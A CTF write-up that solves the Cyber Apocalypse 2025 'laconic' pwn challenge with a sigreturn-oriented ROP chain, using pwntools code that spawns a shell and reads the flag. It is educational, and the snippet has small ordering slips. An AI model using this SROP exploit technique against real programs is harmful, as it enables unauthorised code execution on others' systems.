Cyber Apocalypse 2025 - pwn_laconic
This post is part of a series where I describe some Cyber Apocalypse 2025 CTF challenges that I have participated in.
The list of posts is the following:
Enjoy!
pwn_laconic
The disassembly of this challenge couldn’t be simpler:
mov rdi, 0
mov rsi, rsp
sub rsi, 8
mov rdx, 106h
syscall
retn
pop rax
retn
The binary has no protections:
$ checksec laconic
[*] 'laconic'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x42000)
RWX: Has RWX segments
It’s just performing a syscall, with RSI set to RSP - 8, RDI set to zero, and RDX set to 0x106. To determine the function being called, it uses the RAX value, which is not explicitly set. What’s the RAX value at a program entry point? Apparently, it’s zero, but I couldn’t find any information to safely assume that!
Anyway, an RAX of zero is the read
syscall. If you don’t know, from manpages 2 of syscall, we can see the naming convention for the Linux syscalls and the register arguments mapping.
$ man 2 syscall
...
Arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes
──────────────────────────────────────────────────────────────
alpha a0 a1 a2 a3 a4 a5 -
...
x86-64 rdi rsi rdx r10 r8 r9 -
x32 rdi rsi rdx r10 r8 r9 -
xtensa a6 a3 a4 a5 a8 a9 -
...
So, it’s a:
read(0, rsp-8, 0x106)
Now what does each argument do?
While the C standard library (libc) provides a wrapper function for read()
, this wrapper directly invokes the underlying system call. Therefore, the documentation in man 2 read
pertains to the actual system call behavior, not just the library wrapper. Thus, we can use man 2 read
to obtain information about the arguments for the read
syscall.
$ man 2 syscall
...
SYNOPSIS
#include <unistd.h>
ssize_t read(int fd, void buf[.count], size_t count);
...
The file descriptor of 0 is the stdin (again, we can use manpages to help with that :D just do man stdin
)
So, in the end it is doing:
read(fd=stdin, buf=RSP-8, count=0x106)
No additional checks, no NX binary flag… buffer overflow possibility?
Now, we can write on the stack, let’s pause and think about it better. We could write instructions directly on the stack, say a shell code right? but how do we make the processor jump there? We can overwrite the return address also, but what would we use as address?
In a typical buffer overflow, we either write the shellcode along with a return address pointing to the stack, or we write the shellcode to an RWX memory region and change the return address to point there. In this case, we don’t have the stack address, nor do we have an RWX section available! So, it can’t be a simple shellcode-type buffer overflow…
The binary has no libc dependency and calls the syscalls directly. Thus, we won’t have libc gadgets for a ROP chain, and there is no abundance of gadgets in such a small binary:
$ ROPgadget --binary laconic
Gadgets information
============================================================
0x0000000000043013 : add byte ptr [rax], al ; syscall
0x000000000004300f : mov edx, 0x106 ; syscall
0x000000000004300e : mov rdx, 0x106 ; syscall
0x000000000004300d : or byte ptr [rax - 0x39], cl ; ret 0x106
0x000000000004300c : out dx, al ; or byte ptr [rax - 0x39], cl ; ret 0x106
0x0000000000043018 : pop rax ; ret
0x0000000000043017 : ret
0x0000000000043010 : ret 0x106
0x0000000000043015 : syscall
Unique gadgets found: 9
So what can we possibly do?
The pop rax
followed by a retn
looked suspicious, this allows us to change the RAX value with
a ROP chain and call syscall
again for example…
One idea would be to use ONEgadget. These are ROP chains from libc gadgets that pop a shell, and we only need to redirect execution to the start of that chain. However, we don’t have libc in this target!
I was stuck on this for a while until it suddenly clicked: sigrop! In sigreturn-oriented programming, we build a ROP chain that invokes the rt_sigreturn
syscall to set all the necessary registers. This works because rt_sigreturn
includes a sequence of instructions that pops into all registers. After that, we make a syscall to execve
. To trigger the syscall, we just set the RIP to point to a syscall instruction—since all the other registers are already set correctly. There are many articles out there describing in more detail sigrop, for example, jorianwoltjer sigreturn oriented programming’s page.
However, there is a catch: we need to pass the /bin/sh
argument. We would need to find a way to write that string to the stack or the binary. However, in this case, it wasn’t necessary because the target binary already contains that string.
$ xxd laconic | tail
000011a0: 0300 0000 0100 0000 0800 0000 0000 0000 ................
000011b0: 1800 0000 0000 0000 0900 0000 0300 0000 ................
000011c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000011d0: b010 0000 0000 0000 2100 0000 0000 0000 ........!.......
000011e0: 0000 0000 0000 0000 0100 0000 0000 0000 ................
000011f0: 0000 0000 0000 0000 1100 0000 0300 0000 ................
00001200: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00001210: d110 0000 0000 0000 2600 0000 0000 0000 ........&.......
00001220: 0000 0000 0000 0000 0100 0000 0000 0000 ................
00001230: 0000 0000 0000 0000 2f62 696e 2f73 6800 ......../bin/sh.
To build the ROP chain I used the very handy pwntools srop module.
frame = SigreturnFrame(kernel='amd64')
bin_sh = 0x0000000000043238
frame.rax = constants.SYS_execve
frame.rsi = 0
frame.rdi = bin_sh
frame.rcx = 0
frame.rdx = 0
frame.rip = rop.syscall.address
rop = ROP(elf)
rop.rax = 0xf # rt_sigreturn
rop.raw(rop.syscall.address)
conn.send(b'x'*8 + rop.chain() + bytes(frame))
The full solution can be downloaded from pwn_laconic.py. For this one I didn’t take a screenshot during the contest… anyway, this is what it would look like:
$ python3 solve.py --binary laconic --local
[!] Could not find executable 'laconic' in $PATH, using './laconic' instead
[+] Starting local process './laconic': pid 2111556
Launching local binary: laconic
[*] Loaded 3 cached gadgets for 'laconic'
[*] Switching to interactive mode
$ cat flag.txt
HTB{s1l3nt_r0p_58aba36fa0a303012eec966d60212f27}
$
The lesson learned was to examine the binary for the necessary string /bin/sh
and recognize that sigreturn can be employed when we know it’s a ROP but lack the required gadgets, requiring only a pop rax
and syscall
gadget.
The next post from the series is about pwn_contractor.